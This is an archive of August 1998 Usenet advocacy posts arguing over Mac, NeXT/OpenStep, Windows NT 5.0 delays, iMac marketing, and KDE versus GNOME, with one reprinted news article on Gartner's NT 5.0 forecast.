In article <35d29182.145288125@news.mindspring.com>, rkuo@seas.upenn.edu wrote:
> On Wed, 05 Aug 1998 07:57:26 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >In article <6q84ju$pc6$1@plo.sierra.com>, "Earl Malmrose"
> ><earl.malmrose@nospam.sierra.com> wrote:
> >
> >> Joe Ragosta wrote in message ...
> >> >Until you can provide some evidence, you lose.
> >>
> >> No, you lose. A bug in a Windows app is less likely to crash the
system than
> >> a bug in a Mac app. Several examples have been posted that crash
MacOS, none
> >> that crash Windows. It likely follows, that MacOS will crash more often,
> >> unless you can prove that Mac apps have far fewer bugs. Prove it.
> >
> >So I'm supposed to prove your assertion for you? No thanks. So you're
> >admitting that you have no evidence to back up your position. I didn't
> >think so.
>
> Joe, your willingness to debate a programming issue you
> clearly have no understanding of is simply inane. I don't understand
> why you insist on making comparisons that have no relationship to the
> original point. Well, actually, I do think I know why you are doing
> it, but....the fact, is, he has a preponderance of the evidence and
> you have nothing.
>
> If anyone needs proof that you are horribly biased, this is
> it.
Because I demand evidence?
I already admitted that, in theory, Win95 is a better system for crash
resistance.
But practice doesn't always follow theory. My demand for evidence that the
theory is followed in practice proves that I'm "horribly biased"?
You seem to have a strange definition of bias.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 03:16:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qloli$8hs$1@nnrp1.dejanews.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net> <6qkt4m$5t1$1@nnrp1.dejanews.com> <gmgraves-0908981618380001@sf-usr1-57-185.dialup.slip.net>
In article <gmgraves-0908981618380001@sf-usr1-57-185.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> These types of conflicts are GENERALLY quite easy to resolve on the Mac.
> The Kensington/Adesso problem is easily resolved by simply making one
> or the other (I forget which) control panels load first.
Doing that would be an interesting accomplishment considering that the Adesso
keyboards don't come with any software.
> Most Mac users know how to effect these simple fixes.
You obviously don't fit in this category considering that the solution you
propose is impossible. Also, the technical support people at Kensington say
that you shouldn't use their products with Adesso products. Is that the simple
fix?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 10 Aug 1998 14:17:44 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qmve8$1dk@newsb.netnews.att.com>
Originator: gupta@tlctest
Well on its way into the textbooks.
Someone was saying NT 5 beta 2 rocks, is extremely stable, etc. ?
Well, it isn't even released yet, and the Gartner Group is not
very thrilled with what will be in it. Giga says that upgrading
to NT 5.0 from 4.0 will have little benefit.
-arun gupta
Story dated August 6.
http://www.news.com/News/Item/0%2C4%2C25013%2C00.html?dd.ne.tx.ts
Report: Wait on NT 5.0
Technology industry pundits continue to predict more delays before
the final delivery of an upgrade to Microsoft's Windows NT operating
system.
Citing continued delays in an ongoing test process, or beta, for
forthcoming client and server versions of NT 5.0 and the complexity
of the undertaking, the Gartner Group advised its user client base
today that production deployments of the operating system are not
advised until 2001.
The industry consultants also predict that a production version of
the operating system will not ship in 1999 due to the incomplete
nature of a promised forthcoming second beta, due by the end of the
summer, and the inclusion of a third beta in the test process.
"There's just no way we see Microsoft shipping a useable, stable
version of NT 5.0 anytime in 1999," said Michael Gartenberg, research
director with Gartner.
The NT 5.0 upgrade is expected to push Microsoft into the upper echelons
of corporate computing where veteran software from Unix providers
such as Sun Microsystems and alternatives from the likes of IBM. For this
reason, the timing of the release of NT 5.0 is thought to be highly
strategic for Microsoft, since its availability may torpedo some
sales of other operating systems.
Gartner predicted the software giant will not deliver a beta "appropriate
for full-function testing purposes" until the second quarter of next
year when it ships the third beta in what was originally scheduled to
be a two -beta process. The consultant advises that users should
continue to purch ase proven operating system software such as NT
4.0 with the appropriate service packs, Novell's NetWare, and
flavors of Unix.
Another factor that Gartner expects will contribute to delays in
widespread NT 5.0 deployment is the ever-present specter of the
Year 2000 problem. Due to an expected massive diversion of resources
toward fixing Y2K software compatibility issues, Gartner expects
information technology professionals to divert their attention from
operating system upgrades, among other tasks.
Gartner's pronouncement follows a scathing report this spring from
Forrester Research that predicted th at by the time NT 5.0 is ready
for widespread adoption, "NT's enterprise aspirations will be usurped
by the rise of Internet computing and a new competitive landscape."
Pundit Giga Information Group also recently weighed in on the client
NT Workstation 5.0 release, telling users to ignore an upgrade from
4.0 since it "requires significant sacrifice in terms of compatibility
in return for little or no practical gain."
Microsoft has recently been forced to bite the bullet concerning
its ambitious shipping schedules for NT 5.0, leaving itself open
to criticism from various corners of the industry.
Gartner points to the variety of services and added features, like
Active Directory, Zero Administration for Windows tools, and inclusion
of Terminal Server, that remain incomplete in the current beta.
The final version of NT 5.0 is expected to be about 35 million lines
of code. In comparison, Windows NT 4.0 with the option pack installed,
is about 15 million lines of code, and Windows NT 3.51 is only 5
million lines of code.
"Any time you generate that level of complexity, you're going to
have delays in getting this out the door," Gartenberg noted.
Among the recommendations Gartner offers its clients is to "ignore
the hype from Microsoft that an upgrade to NT 4.0 positions an organization
for an easier upgrade to NT 5.0, whether at the desktop or server."
Due to delays in the operating system that will eventually become
the primary sales driver for the company, Microsoft could feel the
pinch on the revenue front from further NT 5.0 delays.
At an analyst day in Seattle last month, the company addressed delays
in NT as it related to the bottom line. "The company did suggest
that over the next few quarters or so, the delay in the NT 5.0 shipment
schedule and the potential diversion of information technology spending
among enterprise customers toward fixing the Y2K problem may result
in a deceleration in NT Server and BackOffice revenue growth," said
a report from ING Baring Furman Selz LLC following the briefing.
Others believe delivery of NT 5.0 after the new millennium is unlikely.
"I'd be surprised if it slipped into 2000," said Dwight Davis, Microsoft
analyst with Summit Strategies.
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 09:05:05 -0500
Organization: Texas Instruments
Message-ID: <MPG.1038ba0ed0f788c198977d@news.itg.ti.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com> <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu> <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net> <joe.ragosta-0608980731080001@0.0.0.0> <MPG.10336abdffe86b6c989778@news.itg.ti.com> <macman-0908981042450001@d185d1c66.rochester.rr.com>
In article Stephen Rea, macman@rochester.rr.com says...
> In article <MPG.10336abdffe86b6c989778@news.itg.ti.com>, jmcn@msg.ti.com
> (Jason McNorton) wrote:
>
> > Joe, check out that iMac demo with the little kid vs. an adult trying to
> > get on the internet. They don't say "up to".. They just say "twice as
> > fast".
>
> Actually, it's was "more than 3 times faster". The kid (with an iMac) was
> online in 8 minutes, and the adult (with an HP Pavilion 8250) took 27
> minutes.
That line in the ad referred to processor speed, not total time for
setup.
Date: Mon, 10 Aug 1998 08:27:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-1008980827320001@wil81.dol.net>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com>
In article <35d39589.146319500@news.mindspring.com>, rkuo@seas.upenn.edu wrote:
> On Wed, 05 Aug 1998 00:51:58 GMT, quinlan@intergate.bc.ca wrote:
>
> >In article <joe.ragosta-0408981649060001@wil36.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> >> Here it is--Chrome requires 300 MHz PII or faster and Win98 or newer.
> >> Sounds like great backwards support. When did the 300 MHz PII come out? 6
> >> months ago? And it won't support a new MS technology?
> >
> >A few relevant differents:
> >
> >1) Chrome is not an operating sytem
> >2) Chrome actually requires a fast CPU to do it's job (but I believe that
> >Chrome will run on any PII if you don't mind it being slow)
> >
> >Remember when Quickdraw 3D came out and it didn't support the 68K Macs? I
> >don't think anyone really complained because they weren't fast enough to make
> >use of it anyway. OTOH, the 9500/350 is actually faster than the G3 when
> >performing many tasks.
>
> Actually, I'd say the main point here is that Chrome isn't out
> now and won't be for a very long time. I'd say a 300 MHz P2 won't be
> far off the mark for consumers when Microsoft starts incorporating
> Chrome into its products. I really don't even know what Joe was
> trying to prove.
Maybe you ought to read the thread, then.
Someone was arguing about how terrible Apple is because Mac OS X won't run
on pre-G3 machines (maybe). I pointed out that MS also brings out
technologies which orphan previous machines.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Mon, 10 Aug 1998 10:06:17 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CF0C69.B3B0CF5@ericsson.com>
References: <35CE3EB5.D870B739@ericsson.com> <1998081002360600.WAA23106@ladder03.news.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
WillAdams wrote:
>
> >I am totally confused. Which is more accessible, a NeXTstep machine
> >running Webster's, or the Internet? Where I work and live, it's the
> >Internet.
>
> ::sigh::
>
> And where I sit, my NeXT is far more accessible.
Then it sounds like you're all set.
> Naturally, it goes without saying, or should that a locally loaded software
> package, a la Webster's or the Writer's Toolkit for Windows will be more
> accessible/quicker to access than even a CD-ROM like M$ Bookshelf, let alone
> some distant internet site.
Naturally, it goes without saying that mass storage of reference
material doesn't belong on my hard drive. Not especially when that
reference material is subject to revision, update, and expansion. That's
why we use CM here in development, and the same principal applies to
reference material like dictionaries and thesauruses. We're developing
faster, better, more reliable networks to increase access to
information, not to restrict it. Don't take this personally, but the
severe network phobia I've observed in some is disturbing.
Despite the fact that telegraphs and telephones actually connected the
United States, many in the early 1900's were terrified of them. The more
things change, the more they stay the same.
> I want my reference materials loaded locally so that I don't have to worry
> about whether or not the local ISP's NT server is blue-screened or no
If my ISP is down I can't work. It doesn't matter how many freaking
dictionaries are taking up how many gigabytes of expensive local disk.
Do you keep a McDonalds close by for when the roads are out? Do you keep
medical personnel on hand for when the phones are down? Maybe you have a
bomb shelter? Reductio ad absurdum.
> whether
> or not there are enough telephone circuits available for me to make a call
> (there weren't last Thursday evening for several hours), or if there's some
> major TV event blacking out cable access, or a cel tower too far away to be
> used, or whether or not a satellite is visible over the horizon when I'm
> backpacking with whatever system eventually replaces my Newton.
That would be horrible. You'd have to resort to a paper copy of the
dictionary. And if one weren't handy, you might misspell a word on your
backpacking trip. The best bet might be redundant ISP hookups; you can't
be too careful with your dictionary reference, don'tcha know.
MJP
Date: Mon, 10 Aug 1998 08:36:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <joe.ragosta-1008980836530001@wil81.dol.net>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <6qhm5p$2m9@bgtnsc02.worldnet.att.net>
In article <6qhm5p$2m9@bgtnsc02.worldnet.att.net>, "Jim Coffey"
<jlc@bocus.uchicago.org> wrote:
> Joe Ragosta wrote in message ...
>
> (Upgrade comments snipped)
>
> >The point is that not everyone buys the "must upgrade every year" hype.
> >
>
> True, but how many customers *think* that upgradability is important? If
> enough do, then it bomes a selling point. Wether or not they actually
> upgrade anything is irrelevant *if* they think they might when they're
> making a buying decision.
Absolutely true.
Which is why Apple has two product lines. The iMac for the subset of
customers who don't value upgradeability and the G3 line for those who do.
>
> It basically comes down to "what does the customer value when thy're
> deciding what they want to buy, rather than hat features will the really
> use."
Or, "let's offer two product lines so the customers who want
upgradeability can have it and those who don't want it don't have to pay
for it"?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Brian Oberquell <boberque@starvision.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 08:15:46 -0700
Organization: Starvision Multimedia Corp.
Message-ID: <35CF0EA1.18E21368@starvision.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <gmgraves-0808980824320001@sf-usr1-58-186.dialup.slip.net> <35CDB093.313FAE08@algonet.se> <alex-0908980940530001@castle.webis.net> <35CDDBBB.818AE3A4@algonet.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
We use CSS indistrial boxes running NT and they couldn't boot from the CD
even after setting up the BIOS to do so -- when we asked CSS about this we
were told, "just boot from floppies, that's what we do..."
Brian
Petri Holopainen wrote:
> Alex Kac wrote:
> >
> > Second of all, I have worked on 4 new Dells, none of which can boot off
> > the NT 4 CD.
>
> That's weird, because the server I installed NT4 on was a Dell
> PowerEdge. Perhaps the first boot device was set to C: as
> default on your boxes? Check your BIOS, I believe most new PC's
> can boot from a CD... Even this old PPro can do that.
>
> -- Petri
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: 10 Aug 1998 15:17:31 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6qn2ub$scf@shelob.afs.com>
References: <35CF0C69.B3B0CF5@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> If my ISP is down I can't work. It doesn't matter how many freaking
> dictionaries are taking up how many gigabytes of expensive local disk.
> Do you keep a McDonalds close by for when the roads are out? Do you keep
> medical personnel on hand for when the phones are down? Maybe you have a
> bomb shelter? Reductio ad absurdum.
Unless you are a writer, in which case these kinds of reference materials
are an essential part of your job. I don't know too many programmers who
would be willing to take the load image of their compiler over the Net
from Microsoft's site (even if it always got them the latest bug fixes),
to cite an analogous situation.
Local disk is NOT expensive anymore. You can get 8 - 10 GB for $200 at
any Computer City. That's more than enough for the reference materials --
whatever they may be -- that most people need to do their jobs. I agree
there is an update problem in this environment, but then you need to do
the cost/benefit analysis of whether the employee gains sufficient
productivity from quicker/unimpeded access to information (not to mention
lesser bandwidth needs for the organization as a whole, since everyone
doesn't need to be on the Net all the time), vs. the cost to update the
materials on a local basis from time to time.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: NEXTstep/Openstep for the Mac
Newsgroups: comp.sys.next.advocacy
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg> <1998080801024400.VAA01253@ladder01.news.aol.com> <trmp-0808980049440001@ptp28.sopris.net> <ExHBJ2.In8@T-FCN.Net>
Message-ID: <35cf1a72.0@news.depaul.edu>
Date: 10 Aug 98 16:06:10 GMT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <trmp-0808980049440001@ptp28.sopris.net> David Evenson wrote:
> > Some... They're adding quite a bit as well. Not to mention it's continued
> > existence as a full-fledged OS.
> >
> > > No elegant, consistent UI, or repositionable main menu
> >
> > Well, "elegant" is objective
> More to the point, consitance OpenStep isn't. In some cases a double click
> is responded to as two single clicks (items in the shelf). The icons for
> items in the dock a different that other applications.
Not really. The Tile is different, the icon is the same.
> There is no
> consistant desktop representation of whether or not an app is running
> ("finder" displays don't change, apps in the dock change one way, other apps
> another).
I've never understood the rationale behind having the Finder (or
FileViewer) display application icons in a different way if the
application is running. I hardly ever see the file's icon. If the app
is running, there's a tile (either on the Dock, or off of it.)
I don't see the point. Maybe this is another aspect of the
Mac's Finder-centricity that I find so odd.
<snip>
> There will be a Desktop instead, where you can put anything you want. This
> is also far more consistant than OS, where only applications can be docked,
> and only in a specific place.
The desktop is useless - it's covered by windows. Lots of em. The Dock
floats, so you don't have to spend 30 seconds hiding windows so you can
access the icons underneath.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What's brewing at Apple?
Date: 10 Aug 1998 16:04:39 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdc478$1676b580$06387880@chewy>
References: <35CDF146.289C37E@nowhere.com> <6qlru0$dtu$1@holly.prod.itd.earthlink.net>
...
> Last May, Apple bought Final Cut from Macromedia and, I believe,
> Ubillos is now an Apple employee.
...
> The question is why would Apple, which under Jobs has been shedding
> profitable apps right and left, buy a yet-to-be-proven app at the
> risk of alienating two of its critical ISVs (Adobe and Avid)?
...
> There was also a recent rumour that Apple might buy GoLive's
> CyberStudio.
IMHO, Apple is focusing almost entirely on content creation. Apple
wants to make sure it is #1, without any doubt, in this critical area.
As Scott McNealy is fond of saying, put all your wood behind one arrow.
For Apple, that arrow is content creation.
When you think "I want to create a new game with cool video clips",
think Apple.
When you think "I want to create a cool looking web site", think Apple.
When you think "I want to create a CD-ROM based yearbook, with
pictures, movies, and sound clips", think Apple.
I believe Apple wants to become synonymous with "creativity". When you
think "create", think Apple.
The advantages are two fold. First, it helps Apple secure what has
been an important niche for it (but has been slipping away lately).
Second, by making sure people who are creating content-related
entertainment are creating it on Apple computers, Apple is helping to
make sure these products and capabilities are available on Apple's
computers - making it easier to sell Apple computers.
Todd
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Mon, 10 Aug 1998 11:16:06 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CF1CC6.835FA9DE@ericsson.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com>
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Gregory H. Anderson wrote:
> Unless you are a writer, in which case these kinds of reference materials
> are an essential part of your job.
You're missing the point. If you're a writer, your power could as easily
be cut and you'd have no computer. That's why writers have paper copies
of dictionaries. If fault-tolerant is your requirement, you should be
fault-tolerant. In such instances it's not an issue of whether your
single copy is on your local machine or on a remote machine; you simply
don't keep one single copy.
For the hell of it, today I wrote a script that polls the
Merriam-Webster Web site for a definition and returns it on the command
line. If I wanted I could extend the script to throw the definition into
the KDE clipboard, allowing me instance cut-and-paste access from any
KDE application. If I were really that obsessed, I could extend the
default KApplication class with a special Merriam-Webster's class that
puts a customizable keyboard shortcut in all KDE applications.
Then again, I just don't give a rat's ass. Not to belittle those who do,
but having a dictionary at one's fingertips isn't exactly high-tech or
exclusive. In fact, I highly prefer paper dictionaries to any kind of
electronic equivalent because I get to accidentally learn new words when
I'm scanning for a specific one, but your mileage may vary.
> I don't know too many programmers who
> would be willing to take the load image of their compiler over the Net
> from Microsoft's site (even if it always got them the latest bug fixes),
> to cite an analogous situation.
Well, that depends. I won't compile over the Net because it's a massive
speed penalty on an operation I perform tens or hundreds of times daily.
But I will take compiler updates over the Net, gladly.
> Local disk is NOT expensive anymore. You can get 8 - 10 GB for $200 at
> any Computer City. That's more than enough for the reference materials --
> whatever they may be -- that most people need to do their jobs. I agree
> there is an update problem in this environment, but then you need to do
> the cost/benefit analysis of whether the employee gains sufficient
> productivity from quicker/unimpeded access to information (not to mention
> lesser bandwidth needs for the organization as a whole, since everyone
> doesn't need to be on the Net all the time), vs. the cost to update the
> materials on a local basis from time to time.
Right. So it's a potentially useful tool, but probably not a good
built-in, given the near-ubiquitous Internet.
MJP
PS. If anyone's interested in the script, let me know in email.
From: embuck@collins.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Store Within the Store
Date: 10 Aug 1998 16:08:57 GMT
Organization: Rockwell International
Message-ID: <6qn5up$3vt3@onews.collins.rockwell.com>
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Last week end, I visited one the closest Comp USA stores to my home town of
120,000+ people. The closest store is 2.5 hours away. The store I visited
is a block or so off Michigan Ave. in down town Chicago. There was indeed
an Apple store within the store. There were Apple banners (3) hanging over
2 and a half isles of mostly Mac compatible peripherals. There were 5
Power-PC demo units including 1 G3 machine. There was an empty box for an
iMac on display. There was a g3 power book that I discovered in another
area of the store along with all of the other portables.
There was no (zero) none Mac software that I could find in the store within
the store. It may have been shelved somewhere else. Some of the devices in
the store within the store such as Zip disks listed Windows 95 on the box
but nothing about Apple. Although the store within the store was
prominently located at the top of an escalator, the very crowded store was
not crowded there. In fact, I never saw another person enter the store
within the store in the half hour I loitered there.
It was good to see some Apple presence. The software that was running on
the demo machines was fair but less eye catching than the Compaq demo
software. There was an open MacWorld magazine on display to inform the
interested that Apple may be back from the brink.
I was slightly discouraged by the large empty exhibit proclaiming the fact
that Comp USA was sorry it had run out of Windows 98 upgrades and would soon
be restocking.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Mon, 10 Aug 1998 09:56:22 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CF0A16.45EBB788@ericsson.com>
References: <6qcjoc$kf4$1@nnrp03.primenet.com> <6qcnvn$36d@shelob.afs.com> <6qcrfs$lls$1@nnrp03.primenet.com> <35C9F8C1.677CC6B2@ericsson.com> <slrn6ssafr.slh.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> But anachronistically C++ centric. GNOME has a distributed
> object-model throughout its system, like OPENSTEP had, and
> surprisingly, like Windows is accreting.
KDE has a CORBA-based model, as well. It's also making use of OpenDoc
for its component software model. In fact, KDE's CORBA work is further
along than GNOME's. Even so, the main difference is that KDE's
development team doesn't go shouting from the hilltops about features it
hasn't actually implemented (or even designed, in some GNOME cases).
> I'm not a GPL zealot. I'm in favor of progress all around---KDE without
> a C++ centered toolkit and API would have been ideal for me.
That's your language issue. I consider it a blessing, not a curse, to be
able to program in C++. If you're going to throw out KDE and Qt because
they're based on a language that people actually use, that's your own
prerogative. GNOME is based on straight ANSI C; if that's your thing,
jump right in.
MJP
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXTstep/Openstep for the Mac
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Cc: trmp@sopris.net
Organization: none
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg> <1998080801024400.VAA01253@ladder01.news.aol.com>
<trmp-0808980049440001@ptp28.sopris.net>
Mime-Version: 1.0
Date: Mon, 10 Aug 1998 15:11:25 GMT
In <trmp-0808980049440001@ptp28.sopris.net> David Evenson wrote:
> Some... They're adding quite a bit as well. Not to mention it's continued
> existence as a full-fledged OS.
>
> > No elegant, consistent UI, or repositionable main menu
>
> Well, "elegant" is objective
More to the point, consitance OpenStep isn't. In some cases a double click
is responded to as two single clicks (items in the shelf). The icons for
items in the dock a different that other applications. There is no
consistant desktop representation of whether or not an app is running
("finder" displays don't change, apps in the dock change one way, other apps
another). The command key changes from keyboard to keyboard. The modifier
keys for selections suffer the same brain dead split that they do on the Mac.
Elegant it may be, consistant it is not!
> > No dock, and constant status display of running programs, or easy program
> > switching
>
> There will be no Dock
There will be a Desktop instead, where you can put anything you want. This
is also far more consistant than OS, where only applications can be docked,
and only in a specific place.
Note at the end for all the people writing me flames, yes, OpenStep is my
favourite OS right now. But saying that doesn't in any way remove from the
fact that the OS has many GUI peculiarities, and most applications have
moderate to poor GUI's.
Maury
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 09:56:33 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1008980956340001@sf-usr1-44-172.dialup.slip.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net> <6qkt4m$5t1$1@nnrp1.dejanews.com> <gmgraves-0908981618380001@sf-usr1-57-185.dialup.slip.net> <6qloli$8hs$1@nnrp1.dejanews.com>
In article <6qloli$8hs$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-0908981618380001@sf-usr1-57-185.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > These types of conflicts are GENERALLY quite easy to resolve on the Mac.
> > The Kensington/Adesso problem is easily resolved by simply making one
> > or the other (I forget which) control panels load first.
>
> Doing that would be an interesting accomplishment considering that the Adesso
> keyboards don't come with any software.
You didn't say that it was a keyboard.
>
> > Most Mac users know how to effect these simple fixes.
>
> You obviously don't fit in this category considering that the solution you
> propose is impossible. Also, the technical support people at Kensington say
> that you shouldn't use their products with Adesso products. Is that the simple
> fix?
Depends on how you look at it. Kensington thinks it's simple.
George Graves
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 10 Aug 1998 16:56:12 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qn8nc$t81$1@nnrp02.primenet.com>
References: <6qcjoc$kf4$1@nnrp03.primenet.com> <6qcnvn$36d@shelob.afs.com> <6qcrfs$lls$1@nnrp03.primenet.com> <35C9F8C1.677CC6B2@ericsson.com> <slrn6ssafr.slh.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35CF0A16.45EBB788@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
: > I'm not a GPL zealot. I'm in favor of progress all around---KDE without
: > a C++ centered toolkit and API would have been ideal for me.
: That's your language issue. I consider it a blessing, not a curse, to be
: able to program in C++. If you're going to throw out KDE and Qt because
: they're based on a language that people actually use, that's your own
: prerogative. GNOME is based on straight ANSI C; if that's your thing,
: jump right in.
For someone who isn't trying to start a Gnome/KDE flamewar, you do leave a
bit out. There are C++, Objective-C, Eiffel, Python and other bindings
for the GTK+ toolkit in beta. I'm sure the Gnome-level bindings will
improve over time as well.
I can see the strenth of deep object orientation in a GUI, but I think it
also might be easier to float future, unknown, languages on top of an ANSI
C base.
Engineering isn't always about good and evil, it's often about choosing
between two things that are both good in different ways.
I'm happy that Gnome, KDE and GNUStep are all making progress.
John
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 09:58:50 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1008980958500001@sf-usr1-44-172.dialup.slip.net>
